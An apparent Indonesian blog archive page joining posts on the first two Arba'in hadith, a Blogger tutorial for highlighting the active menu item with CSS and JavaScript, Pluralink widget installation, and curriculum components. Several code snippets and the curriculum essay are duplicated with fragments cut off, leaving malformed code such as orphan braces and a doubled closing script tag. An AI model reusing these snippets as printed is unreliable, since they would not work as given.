10.29.2010
Hadis Arbain ke-1
HADITS PERTAMA
عَنْ أَمِيْرِ الْمُؤْمِنِيْنَ أَبِيْ حَفْصٍ عُمَرَ بْنِ الْخَطَّابِ رَضِيَ اللهُ عَنْهُ قَالَ : سَمِعْتُ رَسُوْلَ اللهِ صلى الله عليه وسلم يَقُوْلُ : إِنَّمَا اْلأَعْمَالُ بِالنِّيَّاتِ وَإِنَّمَا لِكُلِّ امْرِئٍ مَا نَوَى . فَمَنْ كَانَتْ هِجْرَتُهُ إِلَى اللهِ وَرَسُوْلِهِ فَهِجْرَتُهُ إِلَى اللهِ وَرَسُوْلِهِ، وَمَنْ كَانَتْ هِجْرَتُهُ لِدُنْيَا يُصِيْبُهَا أَوْ امْرَأَةٍ يَنْكِحُهَا فَهِجْرَتُهُ إِلَى مَا هَاجَرَ إِلَيْهِ .
رواه إماما المحدثين أبو عبد الله محمد بن إسماعيل بن إبراهيم بن المغيرة بن بردزبة البخاري وابو الحسين مسلم بن الحجاج بن مسلم القشيري النيسابوري في صحيحيهما اللذين هما أصح الكتب المصنفة
Arti Hadits / ترجمة الحديث :
Dari Amirul Mu’minin, Abi Hafs Umar bin Al Khottob radiallahuanhu, dia berkata: Saya mendengar Rasulullah Shallallahu’alaihi wasallam bersabda : Sesungguhnya setiap perbuatan tergantung niatnya. Dan sesungguhnya setiap orang (akan dibalas) berdasarkan apa yang dia niatkan. Siapa yang hijrahnya karena (ingin mendapatkan keridhaan) Allah dan Rasul-Nya, maka hijrahnya kepada (keridhaan) Allah dan Rasul-Nya. Dan siapa yang hijrahnya karena dunia yang dikehendakinya atau karena wanita yang ingin dinikahinya maka hijrahnya (akan bernilai sebagaimana) yang dia niatkan.
(Riwayat dua imam hadits, Abu Abdullah Muhammad bin Isma’il bin Ibrahim bin Al Mughirah bin Bardizbah Al Bukhori dan Abu Al Husain, Muslim bin Al Hajjaj bin Muslim Al Qusyairi An Naishaburi dan kedua kitab Shahihnya yang merupakan kitab yang paling shahih yang pernah dikarang) .
Catatan :
Hadits ini merupakan salah satu dari hadits-hadits yang menjadi inti ajaran Islam. Imam Ahmad dan Imam syafi’i berkata : Dalam hadits tentang niat ini mencakup sepertiga ilmu. Sebabnya adalah bahwa perbuatan hamba terdiri dari perbuatan hati, lisan dan anggota badan, sedangkan niat merupakan salah satu dari ketiganya. Diriwayatkan dari Imam Syafi’i bahwa dia berkata : Hadits ini mencakup tujuh puluh bab dalam fiqh. Sejumlah ulama bahkan ada yang berkata : Hadits ini merupakan sepertiga Islam.
Hadits ini ada sebabnya, yaitu: ada seseorang yang hijrah dari Mekkah ke Madinah dengan tujuan untuk dapat menikahi seorang wanita yang konon bernama : “Ummu Qais” bukan untuk mendapatkan keutamaan hijrah. Maka orang itu kemudian dikenal dengan sebutan “Muhajir Ummi Qais” (Orang yang hijrah karena Ummu Qais).
Pelajaran yang terdapat dalam Hadits / الفوائد من الحديث :
Niat merupakan syarat layak/diterima atau tidaknya amal perbuatan, dan amal ibadah tidak akan mendatangkan pahala kecuali berdasarkan niat (karena Allah ta’ala).
Waktu pelaksanaan niat dilakukan pada awal ibadah dan tempatnya di hati.
Ikhlas dan membebaskan niat semata-mata karena Allah ta’ala dituntut pada semua amal shalih dan ibadah.
Seorang mu’min akan diberi ganjaran pahala berdasarkan kadar niatnya.
Semua perbuatan yang bermanfaat dan mubah (boleh) jika diiringi niat karena mencari keridhoan Allah maka dia akan bernilai ibadah.
Yang membedakan antara ibadah dan adat (kebiasaan/rutinitas) adalah niat.
Hadits di atas menunjukkan bahwa niat merupakan bagian dari iman karena dia merupakan pekerjaan hati, dan iman menurut pemahaman Ahli Sunnah Wal Jamaah adalah membenarkan dalam hati, diucapkan dengan lisan dan diamalkan dengan perbuatan.
Hadis Arbain ke-2
HADITS KEDUA
عَنْ عُمَرَ رَضِيَ اللهُ عَنْهُ أَيْضاً قَالَ : بَيْنَمَا نَحْنُ جُلُوْسٌ عِنْدَ رَسُوْلِ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ ذَاتَ يَوْمٍ إِذْ طَلَعَ عَلَيْنَا رَجُلٌ شَدِيْدُ بَيَاضِ الثِّيَابِ شَدِيْدُ سَوَادِ الشَّعْرِ، لاَ يُرَى عَلَيْهِ أَثَرُ السَّفَرِ، وَلاَ يَعْرِفُهُ مِنَّا أَحَدٌ، حَتَّى جَلَسَ إِلَى النَّبِيِّ صلى الله عليه وسلم فَأَسْنَدَ رُكْبَتَيْهِ إِلَى رُكْبَتَيْهِ وَوَضَعَ كَفَّيْهِ عَلَى فَخِذَيْهِ وَقَالَ: يَا مُحَمَّد أَخْبِرْنِي عَنِ اْلإِسْلاَمِ، فَقَالَ رَسُوْلُ اللهِ صلى الله عليه وسلم : اْلإِسِلاَمُ أَنْ تَشْهَدَ أَنْ لاَ إِلَهَ إِلاَّ اللهُ وَأَنَّ مُحَمَّدًا رَسُوْلُ اللهِ وَتُقِيْمَ الصَّلاَةَ وَتُؤْتِيَ الزَّكاَةَ وَتَصُوْمَ رَمَضَانَ وَتَحُجَّ الْبَيْتَ إِنِ اسْتَطَعْتَ إِلَيْهِ سَبِيْلاً قَالَ : صَدَقْتَ، فَعَجِبْنَا لَهُ يَسْأَلُهُ وَيُصَدِّقُهُ، قَالَ: فَأَخْبِرْنِي عَنِ اْلإِيْمَانِ قَالَ : أَنْ تُؤْمِنَ بِاللهِ وَمَلاَئِكَتِهِ وَكُتُبِهِ وَرُسُلِهِ وَالْيَوْمِ الآخِرِ وَتُؤْمِنَ بِالْقَدَرِ خَيْرِهِ وَشَرِّهِ. قَالَ صَدَقْتَ، قَالَ فَأَخْبِرْنِي عَنِ اْلإِحْسَانِ، قَالَ: أَنْ تَعْبُدَ اللهَ كَأَنَّكَ تَرَاهُ فَإِنْ لَمْ تَكُنْ تَرَاهُ فَإِنَّهُ يَرَاكَ . قَالَ: فَأَخْبِرْنِي عَنِ السَّاعَةِ، قَالَ: مَا الْمَسْؤُوْلُ عَنْهَا بِأَعْلَمَ مِنَ السَّائِلِ. قَالَ فَأَخْبِرْنِي عَنْ أَمَارَاتِهَا، قَالَ أَنْ تَلِدَ اْلأَمَةُ رَبَّتَهَا وَأَنْ تَرَى الْحُفَاةَ الْعُرَاةَ الْعَالَةَ رِعَاءَ الشَّاءِ يَتَطَاوَلُوْنَ فِي الْبُنْيَانِ، ثُمَّ انْطَلَقَ فَلَبِثْتُ مَلِيًّا، ثُمَّ قَالَ : يَا عُمَرَ أَتَدْرِي مَنِ السَّائِلِ ؟ قُلْتُ : اللهُ وَرَسُوْلُهُ أَعْلَمَ . قَالَ فَإِنَّهُ جِبْرِيْلُ أَتـَاكُمْ يُعَلِّمُكُمْ دِيْنَكُمْ .
رواه مسلم
Arti hadits / ترجمة الحديث :
Dari Umar radhiallahuanhu juga dia berkata : Ketika kami duduk-duduk disisi Rasulullah Shallallahu’alaihi wasallam suatu hari tiba-tiba datanglah seorang laki-laki yang mengenakan baju yang sangat putih dan berambut sangat hitam, tidak tampak padanya bekas-bekas perjalanan jauh dan tidak ada seorangpun diantara kami yang mengenalnya. Hingga kemudian dia duduk dihadapan Nabi lalu menempelkan kedua lututnya kepada kepada lututnya (Rasulullah Shallallahu’alaihi wasallam) seraya berkata: “ Ya Muhammad, beritahukan aku tentang Islam ?”, maka bersabdalah Rasulullah Shallallahu’alaihi wasallam : “ Islam adalah engkau bersaksi bahwa tidak ada Ilah (Tuhan yang disembah) selain Allah, dan bahwa Nabi Muhammad adalah utusan Allah, engkau mendirikan shalat, menunaikan zakat, puasa Ramadhan dan pergi haji jika mampu “, kemudian dia berkata: “ anda benar “. Kami semua heran, dia yang bertanya dia pula yang membenarkan. Kemudian dia bertanya lagi: “ Beritahukan aku tentang Iman “. Lalu beliau bersabda: “ Engkau beriman kepada Allah, malaikat-malaikat-Nya, kitab-kitab-Nya, rasul-rasul-Nya dan hari akhir dan engkau beriman kepada takdir yang baik maupun yang buruk “, kemudian dia berkata: “ anda benar“. Kemudian dia berkata lagi: “ Beritahukan aku tentang ihsan “. Lalu beliau bersabda: “ Ihsan adalah engkau beribadah kepada Allah seakan-akan engkau melihatnya, jika engkau tidak melihatnya maka Dia melihat engkau” . Kemudian dia berkata: “ Beritahukan aku tentang hari kiamat (kapan kejadiannya)”. Beliau bersabda: “ Yang ditanya tidak lebih tahu dari yang bertanya “. Dia berkata: “ Beritahukan aku tentang tanda-tandanya “, beliau bersabda: “ Jika seorang hamba melahirkan tuannya dan jika engkau melihat seorang bertelanjang kaki dan dada, miskin dan penggembala domba, (kemudian) berlomba-lomba meninggikan bangunannya “, kemudian orang itu berlalu dan aku berdiam sebentar. Kemudian beliau (Rasulullah) bertanya: “ Tahukah engkau siapa yang bertanya ?”. aku berkata: “ Allah dan Rasul-Nya lebih mengetahui “. Beliau bersabda: “ Dia adalah Jibril yang datang kepada kalian (bermaksud) mengajarkan agama kalian “.
(Riwayat Muslim)
Catatan :
Hadits ini merupakan hadits yang sangat dalam maknanya, karena didalamnya terdapat pokok-pokok ajaran Islam, yaitu Iman, Islam dan Ihsan.
Hadits ini mengandung makna yang sangat agung karena berasal dari dua makhluk Allah yang terpercaya, yaitu: Amiinussamaa’ (kepercayaan makhluk di langit/Jibril) dan Amiinul Ardh (kepercayaan makhluk di bumi/ Rasulullah)
Pelajaran yang terdapat dalam hadits / الفوائد من الحديث :
Disunnahkan untuk memperhatikan kondisi pakaian, penampilan dan kebersihan, khususnya jika menghadapi ulama, orang-orang mulia dan penguasa.
Siapa yang menghadiri majlis ilmu dan menangkap bahwa orang–orang yang hadir butuh untuk mengetahui suatu masalah dan tidak ada seorangpun yang bertanya, maka wajib baginya bertanya tentang hal tersebut meskipun dia mengetahuinya agar peserta yang hadir dapat mengambil manfaat darinya.
Jika seseorang yang ditanya tentang sesuatu maka tidak ada cela baginya untuk berkata: “Saya tidak tahu“, dan hal tersebut tidak mengurangi kedudukannya.
Kemungkinan malaikat tampil dalam wujud manusia.
Termasuk tanda hari kiamat adalah banyaknya pembangkangan terhadap kedua orang tua. Sehingga anak-anak memperlakukan kedua orang tuanya sebagaimana seorang tuan memperlakukan hambanya.
Tidak disukainya mendirikan bangunan yang tinggi dan membaguskannya sepanjang tidak ada kebutuhan.
Di dalamnya terdapat dalil bahwa perkara ghaib tidak ada yang mengetahuinya selain Allah ta’ala.
Di dalamnya terdapat keterangan tentang adab dan cara duduk dalam majlis ilmu.
10.24.2010
10.22.2010
Cara membuat Highlighliting Current Page
Highlighting Current Page atau Current Menu biasanya diartikan sebagai penanda halaman aktif untuk saat ini ketika user berada dalam halaman tertentu, misalkan dalam halaman Home, About, Help us dan Contact. Pada Blogger sendiripun sebenarnya baru-baru saja sudah menanamkan fitur ini jika kita sedang mengaktifkan fitur untuk halaman (Page). Namun entah kenapa kebanyakan blogger termasuk saya sendiri tidak begitu tertarik menggunakan. Mungkin sudah telat kali ya :)
Yang membuat Saya tertarik untuk membahas fungsi Current Page ini karena hampir semua template yang saya sediakan di zoomtemplate.com sudah tertanam fitur untuk menampilkan menu navigasi, sayangnya ya itu tadi, menu yang seharusnya bagus malah seperti hanya sebagai hiasan pengganti link saja, dan kebanyakan hanya terlihat cantik ketika user mengarahkan mouse (mouse hover) namun tidak memiliki fitur penanda bahwa menu tersebut seharusnya terlihat ikut aktif dalam halaman yang juga aktif.
Sebagai contoh silahkan rekan melihat demonya di zoomtemplate.com
Disitu bisa rekan lihat saat kita berada dalam area halaman HOME, Link menu HOME juga terlihat ikut aktif. Begitupula saat rekan berapa dalam halaman FAQ'S dan beberapa Menu lainnya yang terlihat juga ikut aktif.
Biar lebih mudah mempelajarinya silahkan Download contoh Demo Menu yang sudah saya rancang disini.
OK langsung ke tutorial saja ya. Oh iya contoh menu dibawah ini tidak sama dengan contoh menu di zoomtemplate.com, tapi rekan dapat mengedit menu tersebut sesuai kebutuhan. Terus terang saya kesulitan menjelaskannya, karena hampir setiap kode CSS Menu memiliki rancangan yang unik dan berbeda.Tapi dengan contoh kali ini saya yakin rekan paling tidak mempunyai sedikit gambaran bagaimana cara Aktive Curren Page / Current Menu ini bekerja.
1. Silahkan langsung tuju ke halaman Edit HTML
2. Letakan kode CSS dibawah tepat diatas kode ]]></b:skin>
#nav ul {
background:url(http://1.bp.blogspot.com/_C6KkooKXCEw/TBoL1r2WrmI/AAAAAAAAGDo/RPFGeeHuA6M/s400/backgr.jpg) repeat-x left top;
margin:0;
border-bottom:3px solid #98CB00;
border-top:1px solid #00CCFF;
list-style-type:none;
height:31px;
}
#nav li {
float:left;
}
#nav li a {
display:block;
padding:5px 15px 4px;
font:bold 16px "Trebuchet MS";
font-stretch:condensed;
text-decoration:none;
color:#00CCFF;
letter-spacing: -0.1em;
}
#nav li a:hover {
color:#98CB00;
}
#nav li.current {
background:url(http://2.bp.blogspot.com/_C6KkooKXCEw/TBoL199-A9I/AAAAAAAAGDw/v2878UtlPsA/s400/current.gi) no-repeat center bottom;
color:#98CB00;
}
background:url(http://1.bp.blogspot.com/_C6KkooKXCEw/TBoL1r2WrmI/AAAAAAAAGDo/RPFGeeHuA6M/s400/backgr.jpg) repeat-x left top;
margin:0;
border-bottom:3px solid #98CB00;
border-top:1px solid #00CCFF;
list-style-type:none;
height:31px;
}
#nav li {
float:left;
}
#nav li a {
display:block;
padding:5px 15px 4px;
font:bold 16px "Trebuchet MS";
font-stretch:condensed;
text-decoration:none;
color:#00CCFF;
letter-spacing: -0.1em;
}
#nav li a:hover {
color:#98CB00;
}
#nav li.current {
background:url(http://2.bp.blogspot.com/_C6KkooKXCEw/TBoL199-A9I/AAAAAAAAGDw/v2878UtlPsA/s400/current.gi) no-repeat center bottom;
color:#98CB00;
}
2. Letakan kode Javascript dibawah ini tepat diatas kode </head>
<script type='text/javascript'>
//<![CDATA[
//<![CDATA[
function extractPageName(hrefString)
{
var arr = hrefString.split('/');
return (arr.length<2) ? hrefString : arr[arr.length-2].toLowerCase() + arr[arr.length-1].toLowerCase();
}
function setActiveMenu(arr, crtPage)
{
for (var i=0; i<arr.length; i++)
{
if(extractPageName(arr[i].href) == crtPage)
{
if (arr[i].parentNode.tagName != "DIV")
{
arr[i].className = "current";
arr[i].parentNode.className = "current";
}
}
}
}
function setPage()
{
hrefString = document.location.href ? document.location.href : document.location;
if (document.getElementById("nav")!=null)
setActiveMenu(document.getElementById("nav").getElementsByTagName("a"), extractPageName(hrefString));
}
{
var arr = hrefString.split('/');
return (arr.length<2) ? hrefString : arr[arr.length-2].toLowerCase() + arr[arr.length-1].toLowerCase();
}
function setActiveMenu(arr, crtPage)
{
for (var i=0; i<arr.length; i++)
{
if(extractPageName(arr[i].href) == crtPage)
{
if (arr[i].parentNode.tagName != "DIV")
{
arr[i].className = "current";
arr[i].parentNode.className = "current";
}
}
}
}
function setPage()
{
hrefString = document.location.href ? document.location.href : document.location;
if (document.getElementById("nav")!=null)
setActiveMenu(document.getElementById("nav").getElementsByTagName("a"), extractPageName(hrefString));
}
//]]>
</script>
</script>
3. Kemudian silahkan cari kode dibawah ini dalam barisan kode pada halaman Edit HTML
<div id='main-wrapper'>
<b:section class='main' id='main' showaddelement='no'>
<b:widget id='Blog1' locked='true' title='Blog Posts' type='Blog'/>
</b:section>
</div>
<b:section class='main' id='main' showaddelement='no'>
<b:widget id='Blog1' locked='true' title='Blog Posts' type='Blog'/>
</b:section>
</div>
Lalu letakan kode dibawah ini tepat diatas kode diatas.
<div id='nav'>
<ul>
<li><a href='/'>HOME</a></li>
<li><a href='#'>FAQ'S</a></li>
<li><a href='#'>HELP US</a></li>
<li><a href='#'>CONTACT</a></li>
</ul>
<script language='javascript'>setPage()</script>
</div>
<ul>
<li><a href='/'>HOME</a></li>
<li><a href='#'>FAQ'S</a></li>
<li><a href='#'>HELP US</a></li>
<li><a href='#'>CONTACT</a></li>
</ul>
<script language='javascript'>setPage()</script>
</div>
Agar Efek Current Page / Menu bisa bekerja, rekan harus mengganti tanda # diatas dengan alamat url post yang aktif.
Untuk membuat dan mengedit tampilan menu jauh lebih cantik dari contoh menu diatas rekan sebaiknya mau tidak mau harus banyak mempelajari pengkodean HTML, CSS dan Javascript.
Selamat mencoba :)
Sumber ada DI SINI
Cara Membuat Pluralink
Pluralink menyediakan plugin berbasis javascipt yang sangat menarik, dengan plugin ini kita dapat menampilkan satu link tunggal yang didalamnya juga berisi daftar drop-down menu beberapa link sekaligus. Sebagai contoh dalam sebuah artikel kita sedang membahas tentang software dan software tersebut ternyata memiliki beberapa alternatif link download yang berbeda, tentu tidak ada cara lain khan selain kita berusaha mengurutkan link download tersebut satu persatu. Tetapi dengan Pluralink kita cukup menampilkannya hanya dalam satu link saja misalkan "download disini", dan selanjutnya biarkan pengguna yang memilih salah satunya.
Pluralink kemungkinan besar dapat digunakan di halaman web/blog apa saja, termasuk blogger salah satunya selama flatform tersebut Support Javascript Enable. Silahkan pelajari instruksi cara memasangnya disini. Untuk pengguna Wordpress sudah tersedia juga pluginnya, silahkan download aja disini
Cara Pasang Di blogger:
Copy-Paste semua kode dibawah ini, kemudian letakan diatas kode </head> pada halaman Edit HTML
<script type="text/javascript" src="http://pluralink.com/files/pluralink.js"></script>
<link rel="stylesheet" href="http://pluralink.com/files/pluralink.css" type="text/css" media="screen" />
<!--[if IE]>
<link rel="stylesheet" href="http://pluralink.com/files/pluralink_ie.css" type="text/css" />
<![endif]-->
<!--[if lte IE 7]>
<link rel="stylesheet" href="http://pluralink.com/files/pluralink_ie6.css" type="text/css" />
<![endif]-->
Contoh penerapan Link: Rekan bisa memasang link ini dimanapun rekan suka, bisa pada menu atau dalam artikel. Pastikan pemisah link dan link title mengunakan tanda ||
<a href="http://firstlink.com/||http://secondlink.org/" title="First link description||Second link description">Some pluralink</a>
Pluralink kemungkinan besar dapat digunakan di halaman web/blog apa saja, termasuk blogger salah satunya selama flatform tersebut Support Javascript Enable. Silahkan pelajari instruksi cara memasangnya disini. Untuk pengguna Wordpress sudah tersedia juga pluginnya, silahkan download aja disini
Cara Pasang Di blogger:
Copy-Paste semua kode dibawah ini, kemudian letakan diatas kode </head> pada halaman Edit HTML
<script type="text/javascript" src="http://pluralink.com/files/pluralink.js"></script>
<link rel="stylesheet" href="http://pluralink.com/files/pluralink.css" type="text/css" media="screen" />
<!--[if IE]>
<link rel="stylesheet" href="http://pluralink.com/files/pluralink_ie.css" type="text/css" />
<![endif]-->
<!--[if lte IE 7]>
<link rel="stylesheet" href="http://pluralink.com/files/pluralink_ie6.css" type="text/css" />
<![endif]-->
Contoh penerapan Link: Rekan bisa memasang link ini dimanapun rekan suka, bisa pada menu atau dalam artikel. Pastikan pemisah link dan link title mengunakan tanda ||
<a href="http://firstlink.com/||http://secondlink.org/" title="First link description||Second link description">Some pluralink</a>
10.21.2010
10.12.2010
Komponen-Komponen Kurikulum
Pendahuluan
Mengingat pentingnya pendidikan bagi manusia, hampir di setiap negara telah mewajibkan para warganya untuk mengikuti kegiatan pendidikan, melalui berbagai ragam teknis penyelenggaraannya, yang disesuaikan dengan falsafah negara, keadaan sosial-politik kemampuan sumber daya dan keadaan lingkungannya masing-masing. Kendati demikian, dalam hal menentukan tujuan pendidikan pada dasarnya memiliki esensi yang sama. Yaitu untuk memanusiakan manusia yang sesungguhnya dan menuju insan al kamil (manusia yang sempuna. Meliputi sempurna akhlaknya dan ilmunya
Seiring denga kemajuan zaman, teknolog yang berkembang dengan pesatnya ternyata memberikan dampak positive dalam dunia pendidikan. Sementara kurikulum yang dikembangkan sekarang ini telah banyak menggunakan teknologi. Dengan menggunakan dasar filosofi teknologi pendidikan dan teori pendidikan teknologis, maka tujuan pendidikan lebih diarahkan pada pencapaian kompetensi.
Dalam implementasinnya bahwa untuk mengembangkan pendidikan dengan tantangan yang sangat kompleks boleh dikatakan hampir tidak mungkin untuk merumuskan tujuan-tujuan kurikulum dengan hanya berpegang pada satu filsafat, teori pendidikan atau model kurikulum tertentu secara konsisten dan konsekuen. Oleh karena itu untuk mengakomodir tantangan dan kebutuhan pendidikan yang sangat kompleks sering digunakan model eklektik, dengan mengambil hal-hal yang terbaik dan memungkinkan dari seluruh aliran filsafat yang ada, sehingga dalam menentukan tujuan pendidikan lebih diusahakan secara bereimbang.
Pengertian
Sebelum masuk pada pembahasan komponen-komponen kurikulum,baiknya kita mengetahui pengertian komponen. Jika kita tidak mengetahui pengertian komponen itu sendiri bagaimana mungkin kita dapat mengupas pembahasan komponen kurikulum itu sendiri. Kemungkinan akan terjadi kerancuan dalam pembahasan ini.
Komponen dalam KBBI (Kamus Besar Bahasa Indonesia) adalah bagian dr keseluruhan; unsur. Sedangkan dalam Kamus Istilah Populer, komponen adalah bagian (yang menjadi rangkaian utuh) ; onderdil.
Pengertian kurikulum telah dibahas sebelumnya. Secara umum kurikulum adalah segala sesuatu yang berkaitan denga mata pelajaran untuk mencapai tujuan yang direncanakan. Secara sederhana dirumuskan dengan Σ MP (BS) + K + SS + TP
Para ahli pendidikan telah menetapkan komponen-komponen kurikulum pendidikan. Komponen yang dimaksud adalah a. tujuan yang ingin dicapai, b. materi yang perlu disiapkan untuk mencapai tujuan, c. susunan materi/pengalaman belajar dan d. evaluasi apakah tujuan yang ditetapkan tercapai. Walaupun penjabarannya berbeda namun substansinya sama.
1. Tujuan Kurikulum
Tujuan kurikulum pada hakikatnya adalah tujuan dari setiap program pendidikan yang akan diberikan pada anak didik Dalam perspektif pendidikan nasional, tujuan pendidikan nasional dapat dilihat secara jelas dalam Undang-Undang Nomor 20 Tahun 2003 tentang Sistrm Pendidikan Nasional, bahwa, "Pendidikan nasional berfungsi mengembangkan kemampuan dan membentuk watak serta peradaban bangsa yang bermartabat dalam rangka mencerdaskan kehidupan bangsa, bertujuan untuk berkembangnya potensi peserta didik agar menjadi manusia yang beriman dan bertakwa kepada Tuhan Yang Maha Esa, berakhlak mulia, sehat, berilmu, cakap, kreatif, mandiri, dan menjadi warga negara yang demokratis serta bertanggung jawab".
Tujuan pendidikan antara lain:
1. Tujuan Institusional (Kompetensi Lulusan)
Adalah tujuan yang yang harus dicapai oleh suatu lembaga pendidikan, contoh: SD, SMP, dan SMA atau sederajat.
2. Tujuan kurikuler (Standart Kompetensi)
Adalah tujuan bidang studi atau mata pelajaran sehingga mencapai hakikat keilmuan yang ada didalamnya.
3. Tujuan instruksional (Kompetensi Dasar)
Tujuan instruksional (Kompetensi Dasar) dirumuskan sebagai kemampuan-kemampuan yang diharapkan dimiliki anak didik setelah mereka menyelesaikan prosesbelajar mengajar. Sedangkan di dalam KBK tujuan kurikulum dalam pendidikan terdapat 2 jenis standart yaitu standart akademis (academic content standarat) dan standart kompetensi (performance standart).
2. Komponen Isi/Materi
Isi program kurikulum adalah segala sesuatu yang diberikan kepada anak didik dalam kegiatan belajar mengajar dalam rangka mencapai tujuan. Isi kurikulum meliputi jenis-jenis bidang studi yang diajarkan dan isi program masing-masing bidang studi tersebut. Bidang-bidang studi tersebut disesuaikan dengan jenis, jenjang maupun jalur pendidikan yang ada.
Kriteria yang dapat membantu pada perancangan kurikulum dalam menentukan isi kurikulum. Kriteria itu antara lain:
1. Isi kurikulum harus sesuai, tepat dan bermakna bagi perkembangan siswa.
2. Isi kurikulum harus mencerminkan kenyataan sosial.
3. Isi kurikulum harus mengandung pengetahuan ilmiah yang tahan uji
4. Isi kurikulum mengandung bahan pelajaran yang jelas
5. Isi kurikulum dapat menunjanga tercapainya tujuan pendidikan.
Materi kurikulum pada hakekatnya adalah isi kurikulum yang dikembangkan dan disusun dengan prinsip-prinsip sebagai berikut :
Isi / materi kurikulum hakikatnya adalah semua kegiatan dan pengalaman yang dikembangkan dan disusun untuk mencapai tujuan pendidikan. Secara umum isi kurikulum itu dapat dikelompokan menjadi :
1. Logika, yaitu pengetahuan tentang benar salah berdasarkan prosedur keilmuan.
2. Etika, yaitu pengetahuan tentang baik buruk, nilai dan moral
3. Estetika, pengetahuan tentang indah-jelek, yang ada nilai seninya.
Pengembangan materi kurikulum harus berdasarkan prinsif-prinsif sebagai berikut:
1. Mengandung bahan kajian yang dapat dipelajari siswa dalam pembelajaran.
2. Berorientasi pada tujuan, sesuai dengan hirarki tujuan pendidikan.
3. Komponen Susunan Materi
Materi pembelajaran disusun secara logis dan sistematis, dalam bentuk strategi pelaksanaan kurikulum. Strategi merujuk pada pendekatan dan metode serta peralatan mengajar yang digunakan dalam pengajaran. Tetapi pada hakikatnya strategi pengajaran tidak hanya terbatas pada hal itu saja. Pembicaraan strategi pengajaran tidak hanya terbatas pada hal itu saja. Pembicaraan strategi pengajaran tergambar dari cara yang ditempuh dalam melaksanakan pengajaan, mengadakan penilaian, pelaksanaan bimbiungan dan mengatur kegiatan, baik yang secara \umum berlaku maupun yang bersifat khusus dalam pengajaran.
Strategi pelaksanaan kurikulum berhubungan dengan bagaimana kurikulum itu dilaksanakan disekolah. Kurikulum merupakan rencana, ide, harapan, yang harus diwujudkan secara nyata disekolah, sehingga mampu mampu mengantarkan anak didik mencapai tujuan pendidikan. Kurikulum yang baik tidak akan mencapai hasil yang maksimal, jika pelaksanaannya menghasilkan sesuatu yang baik bagi anak didik. Komponen strategi pelaksanaan kurikulum meliputi pengajaran, penilaian, bimbingan dan penyuluhan dan pengaturan kegiatan sekolah.
4. Komponen Evaluasi Kurikulum
Evaluasi merupakan komponen untuk melihat efektifitas pencapaian tujuan. Dalam konteks kurikulum evaluasi dapat berfungsi untuk mengetahui apakah tujuan yang telah ditetapkan telah tercapai atau belum, juga digunakan sebagai umpan balik dalam perbaikan strategi yang ditetapkan. Evaluasi merupakan salah satu komponen kurikulum, dengan evaluasi dapat diperoleh informasi yang akurat tentang penyelenggaraan pembelajaran, keberhasilah siswa, guru dan proses pembelajaran itu sendiri. Berdasarkan hasil evaluasi dapat dibuat keputusan kurikulum itu sendiri, pembelajaran, kesulitan dan upaya bimbingan yang diperlukan.
Jenis-jenis penilaian meliputi :
a) Penilaian awal pembelajaran (Input program)
b) Penilaian proses pembelajaran (Program)
c) Penilaian akhir pembelajaran.(output program)
REFERENSI
Hamid syarif. Pengembanagan kurikulum Pasuruan: garoeda buana indah, 1993
Nana Sudjan. Pembinaan dan pengembangan kurikulum disekolah Bandung: Sinar Baru, 1991
Mulyasa. Kurikulum Berbasis Kompetensi konsep, karakteristik, dan implementasi Bandung: PT Remaja Rosdakarya, 2003
M. Pius A Partanto dan M. Dahlan al Barry, Kamus Istilah Populer, Arkola, Surabaya
Situs
KBBI Online
http://akhmadsudrajat.wordpress.com/2008/01/22/komponen-komponen-kurikulum/
DOWNLOAD Artikel ini
Mengingat pentingnya pendidikan bagi manusia, hampir di setiap negara telah mewajibkan para warganya untuk mengikuti kegiatan pendidikan, melalui berbagai ragam teknis penyelenggaraannya, yang disesuaikan dengan falsafah negara, keadaan sosial-politik kemampuan sumber daya dan keadaan lingkungannya masing-masing. Kendati demikian, dalam hal menentukan tujuan pendidikan pada dasarnya memiliki esensi yang sama. Yaitu untuk memanusiakan manusia yang sesungguhnya dan menuju insan al kamil (manusia yang sempuna. Meliputi sempurna akhlaknya dan ilmunya
Seiring denga kemajuan zaman, teknolog yang berkembang dengan pesatnya ternyata memberikan dampak positive dalam dunia pendidikan. Sementara kurikulum yang dikembangkan sekarang ini telah banyak menggunakan teknologi. Dengan menggunakan dasar filosofi teknologi pendidikan dan teori pendidikan teknologis, maka tujuan pendidikan lebih diarahkan pada pencapaian kompetensi.
Dalam implementasinnya bahwa untuk mengembangkan pendidikan dengan tantangan yang sangat kompleks boleh dikatakan hampir tidak mungkin untuk merumuskan tujuan-tujuan kurikulum dengan hanya berpegang pada satu filsafat, teori pendidikan atau model kurikulum tertentu secara konsisten dan konsekuen. Oleh karena itu untuk mengakomodir tantangan dan kebutuhan pendidikan yang sangat kompleks sering digunakan model eklektik, dengan mengambil hal-hal yang terbaik dan memungkinkan dari seluruh aliran filsafat yang ada, sehingga dalam menentukan tujuan pendidikan lebih diusahakan secara bereimbang.
Pengertian
Sebelum masuk pada pembahasan komponen-komponen kurikulum,baiknya kita mengetahui pengertian komponen. Jika kita tidak mengetahui pengertian komponen itu sendiri bagaimana mungkin kita dapat mengupas pembahasan komponen kurikulum itu sendiri. Kemungkinan akan terjadi kerancuan dalam pembahasan ini.
Komponen dalam KBBI (Kamus Besar Bahasa Indonesia) adalah bagian dr keseluruhan; unsur. Sedangkan dalam Kamus Istilah Populer, komponen adalah bagian (yang menjadi rangkaian utuh) ; onderdil.
Pengertian kurikulum telah dibahas sebelumnya. Secara umum kurikulum adalah segala sesuatu yang berkaitan denga mata pelajaran untuk mencapai tujuan yang direncanakan. Secara sederhana dirumuskan dengan Σ MP (BS) + K + SS + TP
Para ahli pendidikan telah menetapkan komponen-komponen kurikulum pendidikan. Komponen yang dimaksud adalah a. tujuan yang ingin dicapai, b. materi yang perlu disiapkan untuk mencapai tujuan, c. susunan materi/pengalaman belajar dan d. evaluasi apakah tujuan yang ditetapkan tercapai. Walaupun penjabarannya berbeda namun substansinya sama.
1. Tujuan Kurikulum
Tujuan kurikulum pada hakikatnya adalah tujuan dari setiap program pendidikan yang akan diberikan pada anak didik Dalam perspektif pendidikan nasional, tujuan pendidikan nasional dapat dilihat secara jelas dalam Undang-Undang Nomor 20 Tahun 2003 tentang Sistrm Pendidikan Nasional, bahwa, "Pendidikan nasional berfungsi mengembangkan kemampuan dan membentuk watak serta peradaban bangsa yang bermartabat dalam rangka mencerdaskan kehidupan bangsa, bertujuan untuk berkembangnya potensi peserta didik agar menjadi manusia yang beriman dan bertakwa kepada Tuhan Yang Maha Esa, berakhlak mulia, sehat, berilmu, cakap, kreatif, mandiri, dan menjadi warga negara yang demokratis serta bertanggung jawab".
Tujuan pendidikan antara lain:
